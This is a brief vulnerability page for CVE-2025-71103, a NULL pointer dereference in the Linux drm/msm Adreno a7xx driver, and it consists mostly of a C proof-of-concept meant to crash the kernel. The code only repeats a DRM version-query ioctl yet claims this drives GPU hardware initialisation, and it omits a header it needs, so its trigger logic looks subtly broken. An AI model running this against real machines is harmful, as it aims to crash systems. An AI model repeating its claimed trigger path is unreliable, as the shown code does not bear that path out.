CVE-2025-71103: Linux内核drm/msm adreno驱动NULL指针解引用漏洞

// PoC for CVE-2025-71103: NULL pointer dereference in a7xx GPU init // This PoC triggers the kernel NULL pointer dereference by initializing // the DRM driver on an a7xx GPU without IFPC support #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <drm/drm.h> #include <sys/ioctl.h> int main() { int fd; // Open DRM device (typically /dev/dri/card0 for primary GPU) fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open DRM device"); return 1; } printf("CVE-2025-71103 PoC: Triggering a7xx GPU initialization...\n"); // Trigger GPU initialization by requesting driver info // This will call msm_gpu_hw_init -> adreno_load_gpu -> a6xx_hw_init struct drm_version version; memset(&version, 0, sizeof(version)); // Multiple ioctl calls may be needed to fully initialize the GPU for (int i = 0; i < 10; i++) { if (ioctl(fd, DRM_IOCTL_VERSION, &version) < 0) { perror("DRM_VERSION ioctl failed"); } } close(fd); printf("PoC execution completed. Check kernel logs for crash.\n"); return 0; }